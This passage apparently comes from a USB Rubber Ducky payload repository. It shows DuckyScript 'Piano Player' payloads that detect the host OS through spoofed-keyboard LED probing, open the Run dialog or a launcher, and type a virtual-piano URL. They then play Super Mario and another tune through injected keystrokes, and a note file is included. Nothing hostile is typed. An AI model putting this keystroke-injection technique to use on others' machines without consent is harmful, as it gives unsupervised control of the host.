END_IF\n                $_OS = WINDOWS\n            END_IF\n        END_IF\n    \n        RESTORE_HOST_KEYBOARD_LOCK_STATE\n        \n        IF VERBOSE THEN\n            ENTER\n            STRING OS_DETECT complete\n            ENTER\n        END_IF\n    END_FUNCTION\n    \n    REM Uncomment the function call below to run this extension inline (here)\n    REM or call DETECT_OS() anywhere in your payload after the extension\n\n    DETECT_OS()\nEND_EXTENSION\n\nIF ($_OS == WINDOWS) THEN\n    GUI r\nELSE IF ($_OS == MACOS) THEN\n    COMMAND SPACE\nELSE IF ($_OS == LINUX) THEN\n    CONTROL ESCAPE\nELSE\n    GUI\nEND_IF\n\nDELAY 1000\nSTRING https://www.onlinepianist.com/virtual-piano\nENTER\nDELAY 2000\n\nFUNCTION tick()\n    DELAY 45\nEND_FUNCTION\n\nHOLD q\nHOLD t\nHOLD .\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE .\ntick()\nDELAY 20\ntick()\nHOLD b\nDELAY 20\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD j\nDELAY 20\nRELEASE j\ntick()\nHOLD ,\nDELAY 20\nRELEASE ,\ntick()\nHOLD q\nHOLD t\nHOLD .\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE .\ntick()\nDELAY 20\ntick()\nHOLD b\nDELAY 20\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD m\nDELAY 20\nRELEASE m\ntick()\nHOLD ,\nDELAY 20\nRELEASE ,\ntick()\nHOLD q\nHOLD t\nHOLD .\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE .\ntick()\nDELAY 20\ntick()\nHOLD b\nDELAY 20\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD m\nDELAY 20\nRELEASE m\ntick()\nHOLD ,\nDELAY 20\nRELEASE ,\ntick()\nHOLD q\nHOLD t\nHOLD .\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE .\ntick()\nDELAY 20\ntick()\nHOLD b\nDELAY 20\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD m\nDELAY 20\nRELEASE m\ntick()\nHOLD ,\nDELAY 20\nRELEASE ,\ntick()\nHOLD q\nHOLD t\nHOLD x\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE x\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD t\nHOLD i\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE i\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD t\nHOLD 0\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE 0\ntick()\nHOLD z\nDELAY 20\nRELEASE z\ntick()\nHOLD x\nDELAY 20\nRELEASE x\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD t\nHOLD i\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE i\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD 0\nDELAY 20\nRELEASE 0\ntick()\nHOLD z\nDELAY 20\nRELEASE z\ntick()\nHOLD w\nHOLD t\nHOLD n\nDELAY 20\nRELEASE w\nRELEASE t\nRELEASE n\ntick()\nDELAY 20\ntick()\nHOLD x\nDELAY 20\nRELEASE x\ntick()\nDELAY 20\ntick()\nHOLD f\nDELAY 20\nRELEASE f\ntick()\nHOLD b\nDELAY 20\nRELEASE b\ntick()\nHOLD w\nHOLD t\nHOLD n\nDELAY 20\nRELEASE w\nRELEASE t\nRELEASE n\ntick()\nDELAY 20\ntick()\nHOLD x\nDELAY 20\nRELEASE x\ntick()\nDELAY 20\ntick()\nHOLD f\nDELAY 20\nRELEASE f\ntick()\nHOLD b\nDELAY 20\nRELEASE b\ntick()\nHOLD w\nHOLD t\nHOLD n\nDELAY 20\nRELEASE w\nRELEASE t\nRELEASE n\ntick()\nDELAY 20\ntick()\nHOLD x\nDELAY 20\nRELEASE x\ntick()\nDELAY 20\ntick()\nHOLD f\nDELAY 20\nRELEASE f\ntick()\nHOLD b\nDELAY 20\nRELEASE b\ntick()\nHOLD w\nHOLD t\nHOLD n\nDELAY 20\nRELEASE w\nRELEASE t\nRELEASE n\ntick()\nDELAY 20\ntick()\nHOLD w\nHOLD t\nHOLD x\nDELAY 20\nRELEASE w\nRELEASE t\nRELEASE x\ntick()\nDELAY 20\ntick()\nHOLD w\nHOLD t\nHOLD f\nDELAY 20\nRELEASE w\nRELEASE t\nRELEASE f\ntick()\nDELAY 20\ntick()\nHOLD r\nHOLD 7\nHOLD z\nDELAY 20\nRELEASE r\nRELEASE 7\nRELEASE z\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD w\nHOLD r\nHOLD 7\nDELAY 20\nRELEASE w\nRELEASE r\nRELEASE 7\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD r\nHOLD 7\nHOLD 0\nDELAY 20\nRELEASE r\nRELEASE 7\nRELEASE 0\ntick()\nHOLD o\nDELAY 20\nRELEASE o\ntick()\nHOLD z\nDELAY 20\nRELEASE z\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD w\nHOLD r\nHOLD 7\nDELAY 20\nRELEASE w\nRELEASE r\nRELEASE 7\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD 0\nDELAY 20\nRELEASE 0\ntick()\nHOLD o\nDELAY 20\nRELEASE o\ntick()\nHOLD q\nHOLD r\nHOLD b\nDELAY 20\nRELEASE q\nRELEASE r\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD z\nDELAY 20\nRELEASE z\ntick()\nDELAY 20\ntick()\nHOLD d\nDELAY 20\nRELEASE d\ntick()\nHOLD f\nDELAY 20\nRELEASE f\ntick()\nHOLD q\nHOLD r\nHOLD b\nDELAY 20\nRELEASE q\nRELEASE r\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD z\nDELAY 20\nRELEASE z\ntick()\nDELAY 20\ntick()\nHOLD d\nDELAY 20\nRELEASE d\ntick()\nHOLD f\nDELAY 20\nRELEASE f\ntick()\nHOLD q\nHOLD r\nHOLD b\nDELAY 20\nRELEASE q\nRELEASE r\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD z\nDELAY 20\nRELEASE z\ntick()\nDELAY 20\ntick()\nHOLD d\nDELAY 20\nRELEASE d\ntick()\nHOLD f\nDELAY 20\nRELEASE f\ntick()\nHOLD q\nHOLD r\nHOLD b\nDELAY 20\nRELEASE q\nRELEASE r\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD r\nHOLD z\nDELAY 20\nRELEASE q\nRELEASE r\nRELEASE z\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD r\nHOLD d\nDELAY 20\nRELEASE q\nRELEASE r\nRELEASE d\ntick()\nDELAY 20\ntick()\nHOLD 3\nHOLD 6\nHOLD b\nDELAY 20\nRELEASE 3\nRELEASE 6\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD 0\nDELAY 20\nRELEASE 0\ntick()\nDELAY 20\ntick()\nHOLD 3\nHOLD 6\nHOLD d\nDELAY 20\nRELEASE 3\nRELEASE 6\nRELEASE d\ntick()\nHOLD f\nDELAY 20\nRELEASE f\ntick()\nHOLD 3\nHOLD 6\nHOLD b\nDELAY 20\nRELEASE 3\nRELEASE 6\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD 0\nDELAY 20\nRELEASE 0\ntick()\nDELAY 20\ntick()\nHOLD 3\nHOLD 6\nHOLD f\nDELAY 20\nRELEASE 3\nRELEASE 6\nRELEASE f\ntick()\nHOLD b\nDELAY 20\nRELEASE b\ntick()\nHOLD 3\nHOLD 7\nHOLD f\nDELAY 20\nRELEASE 3\nRELEASE 7\nRELEASE f\ntick()\nDELAY 20\ntick()\nHOLD 0\nDELAY 20\nRELEASE 0\ntick()\nDELAY 20\ntick()\nHOLD 3\nHOLD 7\nHOLD x\nDELAY 20\nRELEASE 3\nRELEASE 7\nRELEASE x\ntick()\nHOLD d\nDELAY 20\nRELEASE d\ntick()\nHOLD 3\nHOLD 7\nHOLD f\nDELAY 20\nRELEASE 3\nRELEASE 7\nRELEASE f\ntick()\nDELAY 20\ntick()\nHOLD 0\nDELAY 20\nRELEASE 0\ntick()\nDELAY 20\ntick()\nHOLD 3\nHOLD 7\nHOLD d\nDELAY 20\nRELEASE 3\nRELEASE 7\nRELEASE d\ntick()\nHOLD f\nDELAY 20\nRELEASE f\ntick()\nHOLD q\nHOLD r\nHOLD d\nDELAY 20\nRELEASE q\nRELEASE r\nRELEASE d\ntick()\nDELAY 20\ntick()\nHOLD i\nDELAY 20\nRELEASE i\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD r\nHOLD z\nDELAY 20\nRELEASE q\nRELEASE r\nRELEASE z\ntick()\nHOLD x\nDELAY 20\nRELEASE x\ntick()\nHOLD q\nHOLD r\nHOLD d\nDELAY 20\nRELEASE q\nRELEASE r\nRELEASE d\ntick()\nDELAY 20\ntick()\nHOLD i\nDELAY 20\nRELEASE i\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD r\nHOLD x\nDELAY 20\nRELEASE q\nRELEASE r\nRELEASE x\ntick()\nHOLD d\nDELAY 20\nRELEASE d\ntick()\nHOLD q\nHOLD t\nHOLD x\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE x\ntick()\nDELAY 20\ntick()\nHOLD i\nDELAY 20\nRELEASE i\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD t\nHOLD 0\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE 0\ntick()\nHOLD z\nDELAY 20\nRELEASE z\ntick()\nHOLD q\nHOLD t\nHOLD x\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE x\ntick()\nDELAY 20\ntick()\nHOLD i\nDELAY 20\nRELEASE i\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD t\nHOLD 0\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE 0\ntick()\nHOLD z\nDELAY 20\nRELEASE z\ntick()\nHOLD 3\nHOLD 6\nHOLD j\nDELAY 20\nRELEASE 3\nRELEASE 6\nRELEASE j\ntick()\nDELAY 20\ntick()\nHOLD d\nDELAY 20\nRELEASE d\ntick()\nDELAY 20\ntick()\nHOLD 3\nHOLD 6\nHOLD b\nDELAY 20\nRELEASE 3\nRELEASE 6\nRELEASE b\ntick()\nHOLD n\nDELAY 20\nRELEASE n\ntick()\nHOLD 3\nHOLD 6\nHOLD j\nDELAY 20\nRELEASE 3\nRELEASE 6\nRELEASE j\ntick()\nDELAY 20\ntick()\nHOLD d\nDELAY 20\nRELEASE d\ntick()\nDELAY 20\ntick()\nHOLD 3\nHOLD 6\nHOLD b\nDELAY 20\nRELEASE 3\nRELEASE 6\nRELEASE b\ntick()\nHOLD j\nDELAY 20\nRELEASE j\ntick()\nHOLD w\nHOLD t\nHOLD n\nDELAY 20\nRELEASE w\nRELEASE t\nRELEASE n\ntick()\nDELAY 20\ntick()\nHOLD x\nDELAY 20\nRELEASE x\ntick()\nDELAY 20\ntick()\nHOLD w\nHOLD t\nHOLD f\nDELAY 20\nRELEASE w\nRELEASE t\nRELEASE f\ntick()\nDELAY 20\ntick()\nHOLD w\nHOLD t\nHOLD n\nDELAY 20\nRELEASE w\nRELEASE t\nRELEASE n\ntick()\nDELAY 20\ntick()\nHOLD n\nDELAY 20\nRELEASE n\ntick()\nDELAY 20\ntick()\nHOLD w\nHOLD t\nHOLD f\nDELAY 20\nRELEASE w\nRELEASE t\nRELEASE f\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD t\nHOLD b\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD x\nDELAY 20\nRELEASE x\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD t\nHOLD d\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE d\ntick()\nHOLD f\nDELAY 20\nRELEASE f\ntick()\nHOLD q\nHOLD t\nHOLD b\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD x\nDELAY 20\nRELEASE x\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD t\nHOLD d\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE d\ntick()\nHOLD f\nDELAY 20\nRELEASE f\ntick()\nHOLD q\nHOLD t\nHOLD b\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD x\nDELAY 20\nRELEASE x\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD t\nHOLD d\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE d\ntick()\nHOLD f\nDELAY 20\nRELEASE f\ntick()\nHOLD q\nHOLD t\nHOLD b\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD t\nHOLD x\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE x\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD t\nHOLD d\nDELAY 20\nRELEASE q\nRELEASE t\nRELEASE d\ntick()\nHOLD f\nDELAY 20\nRELEASE f\ntick()\nHOLD b\nDELAY 20\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD x\nDELAY 20\nRELEASE x\ntick()\nDELAY 20\ntick()\nHOLD d\nDELAY 20\nRELEASE d\ntick()\nHOLD f\nDELAY 20\nRELEASE f\ntick()\nHOLD b\nDELAY 20\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD x\nDELAY 20\nRELEASE x\ntick()\nDELAY 20\ntick()\nHOLD d\nDELAY 20\nRELEASE d\ntick()\nHOLD f\nDELAY 20\nRELEASE f\ntick()\nHOLD b\nDELAY 20\nRELEASE b\ntick()\n"
  },
  {
    "path": "payloads/library/general/Piano_Player/examples/super_mario_notes.txt",
    "content": "50ms\nhttps://www.onlinepianist.com/virtual-piano\nc-3=q c#3=2 d-3=w d#3=3 e-3=e f-3=r f#3=5 g-3=t g#3=6 a-3=y a#3=7 b-3=u c-4=i c#4=9 d-4=o d#4=0 e-4=p f-4=z f#4=s g-4=x g#4=d a-4=c a#4=f b-4=v c-5=b c#5=h d-5=n d#5=j e-5=m f-5=, f#5=l g-5=. g#5=; a-5=/ a#5='\n\nd-3  f#3  e-5\nd-3  f#3  e-5\n---  ---  ---\nd-3  f#3  e-5\n---  ---  ---\nd-3  f#3  c-5\nd-3  f#3  e-5\n---  ---  ---\ng-3  b-3  g-5\n---  ---  ---\n---  ---  ---\n---  ---  ---\ng-3  ---  g-4\n---  ---  ---\n---  ---  ---\n---  ---  ---\ng-3  e-4  c-5\n---  ---  ---\n---  ---  ---\ne-3  ---  g-4\n---  ---  ---\n---  ---  ---\nc-3  ---  e-4\n---  ---  ---\n---  ---  ---\nf-3  ---  a-4\n---  ---  ---\ng-3  ---  b-4\n---  ---  ---\nf#3  ---  a#4\nf-3  ---  a-4\n---  ---  ---\ne-3  ---  g-4\nc-4  ---  e-5\n---  ---  ---\ne-4  ---  g-5\nf-4  ---  a-5\n---  ---  ---\nd-4  ---  f-5\ne-4  ---  g-5\n---  ---  ---\nc-4  ---  e-5\n---  ---  ---\na-3  ---  c-5\nb-3  ---  d-5\ng-3  ---  b-4\n---  ---  ---\n---  ---  ---\ng-3  e-4  c-5\n---  ---  ---\n---  ---  ---\ne-3  ---  g-4\n---  ---  ---\n---  ---  ---\nc-3  ---  e-4\n---  ---  ---\n---  ---  ---\nf-3  ---  a-4\n---  ---  ---\ng-3  ---  b-4\n---  ---  ---\nf#3  ---  a#4\nf-3  ---  a-4\n---  ---  ---\ne-3  ---  g-4\nc-4  ---  e-5\n---  ---  ---\ne-4  ---  g-5\nf-4  ---  a-5\n---  ---  ---\nd-4  ---  f-5\ne-4  ---  g-5\n---  ---  ---\nc-4  ---  e-5\n---  ---  ---\na-3  ---  c-5\nb-3  ---  d-5\ng-3  ---  b-4\n---  ---  ---\n---  ---  ---\nc-3  ---  ---\n---  ---  ---\n---  e-5  g-5\ne-3  ---  f#5\n---  d-5  f-5\n---  b-4  d-5\nc-4  ---  --- \n---  c-5  e-5\nf-3  ---  ---\n---  e-4  g#4 \n---  f-4  a-4\nc-4  ---  c-5\n---  ---  ---\n---  c-4  a-4\nf-4  ---  c-5\n---  f-4  d-5\nc-3  ---  ---\n---  ---  ---\n---  e-5  g-5\ne-3  ---  f#5\n---  d-5  f-5\n---  b-4  d-5 \ng-3  ---  --- \nc-4  ---  e-5\n---  ---  ---\nc-5  f-5  g-5\n---  ---  ---\nc-5  f-5  g-5\nc-5  f-5  g-5\n---  ---  ---\ng-3  ---  ---\n---  ---  ---\nc-3  ---  ---\n---  ---  ---\n---  e-5  g-5\ne-3  ---  f#5\n---  d-5  f-5\n---  b-4  d-5\nc-4  ---  --- \n---  c-5  e-5\nf-3  ---  ---\n---  e-4  g#4 \n---  f-4  a-4\nc-4  ---  c-5\n---  ---  ---\n---  c-4  a-4\nf-4  ---  c-5\n---  f-4  d-5\nc-3  ---  ---\n---  ---  ---\ng#3  g#4  d#5\n---  ---  ---\n---  ---  ---\na#3  f-4  d-5\n---  ---  ---\n---  ---  ---\nc-4  e-4  c-5\n---  ---  ---\n---  ---  ---\ng-3  ---  ---\ng-3  ---  ---\n---  ---  ---\nc-3  ---  ---\n---  ---  ---\ng#3  g#4  c-5\n---  g#4  c-5\n---  ---  ---\nd#3  g#4  c-5\n---  ---  ---\n---  ---  c-5\ng#3  ---  d-5 \n---  ---  ---\ng-3  g-4  e-5\n---  ---  c-5\n---  ---  ---\nc-3  ---  a-4\n---  ---  g-4\n---  ---  ---\ng-3  ---  ---\n---  ---  ---\ng#3  g#4  c-5\n---  g#4  c-5\n---  ---  ---\nd#3  g#4  c-5\n---  ---  ---\n---  ---  c-5\ng#3  ---  d-5\n---  g-4  e-5\ng-3  ---  ---\n---  ---  ---\n---  ---  ---\nc-3  ---  ---\n---  ---  ---\n---  ---  ---\ng-3  ---  ---\n---  ---  ---\ng#3  g#4  c-5\n---  g#4  c-5\n---  ---  ---\nd#3  g#4  c-5\n---  ---  ---\n---  ---  c-5\ng#3  ---  d-5 \n---  ---  ---\ng-3  g-4  e-5\n---  ---  c-5\n---  ---  ---\nc-3  ---  a-4\n---  ---  g-4\n---  ---  ---\ng-3  ---  ---\n---  ---  ---\nd-3  f#3  e-5\nd-3  f#3  e-5\n---  ---  ---\nd-3  f#3  e-5\n---  ---  ---\nd-3  f#3  c-5\nd-3  f#3  e-5\n---  ---  ---\ng-3  b-3  g-5\n---  ---  ---\n---  ---  ---\n---  ---  ---\ng-3  ---  g-4 \n---  ---  ---\n---  ---  ---\n---  ---  ---\nc-3  ---  e-5\n---  a-4  c-5\n---  ---  ---\ng-3  e-4  g-4\n---  ---  ---\n---  ---  ---\nc-4  ---  g#4\n---  ---  ---\nf-3  ---  a-4\n---  c-5  f-5\nf-3  ---  ---\n---  c-5  f-5\nc-4  ---  a-4\nc-4  ---  ---\nf-3  ---  ---\n---  ---  ---\nd-3  ---  b-4\n---  f-5  a-5\n---  ---  ---\ng-3  f-5  a-5\n---  f-5  a-5\n---  ---  ---\nb-3  ---  g-5\n---  d-5  f-5\ng-3  ---  e-5\n---  a-4  c-5\ng-3  ---  ---\n---  f-4  a-4\nc-4  ---  g-4\nc-4  ---  ---\ng-3  ---  ---\n---  ---  ---\nc-3  ---  e-5\n---  a-4  c-5\n---  ---  ---\ng-3  e-4  g-4\n---  ---  ---\n---  ---  ---\nc-4  ---  g#4\n---  ---  ---\nf-3  ---  a-4\n---  c-5  f-5\nf-3  ---  ---\n---  c-5  f-5\nc-4  ---  a-4\nc-4  ---  ---\nf-3  ---  ---\n---  ---  ---\ng-3  ---  b-4\n---  d-5  f-5 \n---  ---  ---\ng-3  d-5  f-5 \ng-3  ---  f-5 \n---  ---  ---\na-3  ---  e-5\nb-3  b-4  d-5\nc-4  g-4  c-5\n---  e-4  ---\ng-3  ---  ---\n---  e-4  ---\nc-3  ---  c-4\n---  ---  ---\n---  ---  ---\n---  ---  ---\ng-3  e-4  c-5\n---  ---  ---\n---  ---  ---\ne-3  ---  g-4\n---  ---  ---\n---  ---  ---\nc-3  ---  e-4\n---  ---  ---\nf-3  ---  a-4\n---  ---  b-4\n---  ---  ---\n---  ---  a-4\nc#3  f-4  g#4\n---  ---  a#4\n---  ---  ---\n---  ---  a-4\nc-3  e-4  g-4\n---  ---  f-4\nc-3  e-4  g-4\n"
  },
  {
    "path": "payloads/library/general/Piano_Player/examples/super_mario_payload.txt",
    "content": "EXTENSION OS_DETECTION\n    REM VERSION 1.0\n\n    REM USB Rubber Ducky Host OS Detection\n    REM Generic OS detection at a high view is a moving target\n    REM results may vary greatly depending \n    REM on a combination of many variables:\n    REM  - number of testing stages\n    REM  - specific devices and versions tested against\n    REM  - number of systems testing for (scope)\n    REM  - detection techniques (passive/invisible/active/hybrid)\n    REM  - overall speed\n    REM  - overall accuracy\n\n    REM TARGET:\n    REM DEFAULT - Windows, Mac, Linux\n    REM ADVANCED_DETECTION - Windows, Mac, Linux, iOS, ChromeOS, Android\n\n    REM USAGE:\n    REM Uncomment the function call below to run this extension inline (here)\n    REM or call DETECT_OS() anywhere in your payload after the extension\n    REM Place this extension and the DETECT_OS() before\n    REM you would like to first reference $_OS to execute payload code conditionally\n\n    REM DEPLOYMENT:\n    REM Plug Ducky into host\n\n    REM begin extension options\n    DEFINE VERBOSE FALSE\n    DEFINE ADVANCED_DETECTION FALSE\n    DEFINE STARTUP_DELAY 1500\n    DEFINE RESTART_WAIT 1000\n    DEFINE OS_DETECT_MODE HID\n    DEFINE OS_DETECT_VID VID_05AC\n    DEFINE OS_DETECT_PID PID_021E\n    DEFINE WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE HOST_RESPONSE_TIMEOUT 1000\n    REM end extension options\n\n    FUNCTION DETECT_OS()\n        $_HOST_CONFIGURATION_REQUEST_COUNT = 0\n        ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID\n        DELAY STARTUP_DELAY\n        SAVE_HOST_KEYBOARD_LOCK_STATE\n    \n        IF VERBOSE THEN\n            IF ADVANCED_DETECTION THEN\n                STRING ADVANCED OS DETECT\n            ELSE \n                STRING OS DETECT\n            END_IF\n    \n            ENTER\n            STRING test caps\n        END_IF\n    \n        IF ($_CAPSLOCK_ON == FALSE) THEN\n            LED_R\n            CAPSLOCK\n            DELAY HOST_RESPONSE_TIMEOUT \n        END_IF\n        LED_OFF\n    \n        IF VERBOSE THEN\n            ENTER\n            STRING test done\n        END_IF\n    \n        IF $_RECEIVED_HOST_LOCK_LED_REPLY THEN\n            IF VERBOSE THEN\n                ENTER\n                STRING received led response\n            END_IF\n            LED_G\n            IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN\n                IF VERBOSE THEN\n                    ENTER\n                    STRING prediction: Windows\n                END_IF\n                $_OS = WINDOWS\n            ELSE\n                IF VERBOSE THEN\n                    ENTER\n                    STRING prediction: Linux\n                END_IF\n                $_OS = LINUX\n            END_IF\n        ELSE\n            IF VERBOSE THEN\n                ENTER\n                STRING no led response\n                ENTER\n                STRING prediciton: MacOS\n            END_IF\n            $_OS = MACOS\n        END_IF\n    \n        IF ADVANCED_DETECTION THEN\n            IF ( $_OS == LINUX ) THEN\n                IF VERBOSE THEN\n                    ENTER\n                    STRING soft reconnect\n                END_IF\n                ATTACKMODE OFF\n                DELAY RESTART_WAIT\n                ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID\n                DELAY CONNECT_WAIT\n                IF VERBOSE THEN\n                    ENTER\n                    STRING reconnected\n                END_IF\n                IF ($_CAPSLOCK_ON == TRUE) THEN\n                    IF VERBOSE THEN\n                        ENTER\n                        STRING caps led on\n                        ENTER\n                        STRING test numlock\n                    END_IF\n                    NUMLOCK\n                    DELAY HOST_RESPONSE_TIMEOUT\n                    IF VERBOSE THEN\n                        ENTER\n                        STRING test done\n                    END_IF\n                    IF ($_NUMLOCK_ON == FALSE) THEN\n                        IF VERBOSE THEN\n                            ENTER\n                            STRING no numlock led\n                            ENTER\n                            STRING prediciton: ChromeOS\n                        END_IF\n                        $_OS = CHROMEOS\n                    ELSE\n                        IF VERBOSE THEN\n                            ENTER\n                            STRING numlock led on\n                            ENTER\n                            STRING testing scrolllock\n                        END_IF\n                        SCROLLLOCK\n                        DELAY HOST_RESPONSE_TIMEOUT\n                        IF VERBOSE THEN\n                            ENTER\n                            STRING test done\n                        END_IF\n                        IF ($_SCROLLLOCK_ON == TRUE) THEN\n                            IF VERBOSE THEN\n                                ENTER\n                                STRING scrolllock led on\n                                ENTER\n                                STRING prediciton: Android\n                            END_IF\n                            $_OS = ANDROID\n                        ELSE\n                            IF VERBOSE THEN\n                                ENTER\n                                STRING no scrolllock reply \n                                ENTER\n                                STRING prediction: Linux\n                            END_IF\n                            $_OS = LINUX\n                        END_IF\n                    END_IF\n                END_IF\n            ELSE IF ($_OS == MACOS) THEN\n                IF ($_CAPSLOCK_ON == TRUE) THEN\n                    IF VERBOSE THEN\n                        ENTER\n                        STRING caps led on\n                        ENTER\n                        STRING prediction: iOS\n                    END_IF\n                    $_OS = IOS\n                ELSE \n                    IF VERBOSE THEN\n                        ENTER\n                        STRING no caps reply\n                        ENTER\n                        STRING prediction: MacOS\n                    END_IF\n                    $_OS = MACOS\n                END_IF\n            ELSE IF ($_OS == WINDOWS) THEN\n                IF VERBOSE THEN\n                    ENTER\n                    STRING Confident Windows Prediction\n                END_IF\n                $_OS = WINDOWS\n            END_IF\n        END_IF\n    \n        RESTORE_HOST_KEYBOARD_LOCK_STATE\n        \n        IF VERBOSE THEN\n            ENTER\n            STRING OS_DETECT complete\n            ENTER\n        END_IF\n    END_FUNCTION\n    \n    REM Uncomment the function call below to run this extension inline (here)\n    REM or call DETECT_OS() anywhere in your payload after the extension\n\n    DETECT_OS()\nEND_EXTENSION\n\nIF ($_OS == WINDOWS) THEN\n    GUI r\nELSE IF ($_OS == MACOS) THEN\n    COMMAND SPACE\nELSE IF ($_OS == LINUX) THEN\n    CONTROL ESCAPE\nELSE\n    GUI\nEND_IF\n\nDELAY 1000\nSTRING https://www.onlinepianist.com/virtual-piano\nENTER\nDELAY 2000\n\nFUNCTION tick()\n    DELAY 30\nEND_FUNCTION\n\nHOLD w\nHOLD 5\nHOLD m\nDELAY 20\nRELEASE w\nRELEASE 5\nRELEASE m\ntick()\nHOLD w\nHOLD 5\nHOLD m\nDELAY 20\nRELEASE w\nRELEASE 5\nRELEASE m\ntick()\nDELAY 20\ntick()\nHOLD w\nHOLD 5\nHOLD m\nDELAY 20\nRELEASE w\nRELEASE 5\nRELEASE m\ntick()\nDELAY 20\ntick()\nHOLD w\nHOLD 5\nHOLD b\nDELAY 20\nRELEASE w\nRELEASE 5\nRELEASE b\ntick()\nHOLD w\nHOLD 5\nHOLD m\nDELAY 20\nRELEASE w\nRELEASE 5\nRELEASE m\ntick()\nDELAY 20\ntick()\nHOLD t\nHOLD u\nHOLD .\nDELAY 20\nRELEASE t\nRELEASE u\nRELEASE .\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD t\nHOLD x\nDELAY 20\nRELEASE t\nRELEASE x\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD t\nHOLD p\nHOLD b\nDELAY 20\nRELEASE t\nRELEASE p\nRELEASE b\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD e\nHOLD x\nDELAY 20\nRELEASE e\nRELEASE x\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD p\nDELAY 20\nRELEASE q\nRELEASE p\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD r\nHOLD c\nDELAY 20\nRELEASE r\nRELEASE c\ntick()\nDELAY 20\ntick()\nHOLD t\nHOLD v\nDELAY 20\nRELEASE t\nRELEASE v\ntick()\nDELAY 20\ntick()\nHOLD 5\nHOLD f\nDELAY 20\nRELEASE 5\nRELEASE f\ntick()\nHOLD r\nHOLD c\nDELAY 20\nRELEASE r\nRELEASE c\ntick()\nDELAY 20\ntick()\nHOLD e\nHOLD x\nDELAY 20\nRELEASE e\nRELEASE x\ntick()\nHOLD i\nHOLD m\nDELAY 20\nRELEASE i\nRELEASE m\ntick()\nDELAY 20\ntick()\nHOLD p\nHOLD .\nDELAY 20\nRELEASE p\nRELEASE .\ntick()\nHOLD z\nHOLD /\nDELAY 20\nRELEASE z\nRELEASE /\ntick()\nDELAY 20\ntick()\nHOLD o\nHOLD ,\nDELAY 20\nRELEASE o\nRELEASE ,\ntick()\nHOLD p\nHOLD .\nDELAY 20\nRELEASE p\nRELEASE .\ntick()\nDELAY 20\ntick()\nHOLD i\nHOLD m\nDELAY 20\nRELEASE i\nRELEASE m\ntick()\nDELAY 20\ntick()\nHOLD y\nHOLD b\nDELAY 20\nRELEASE y\nRELEASE b\ntick()\nHOLD u\nHOLD n\nDELAY 20\nRELEASE u\nRELEASE n\ntick()\nHOLD t\nHOLD v\nDELAY 20\nRELEASE t\nRELEASE v\ntick()\nDELAY 20\ntick()\nDELAY 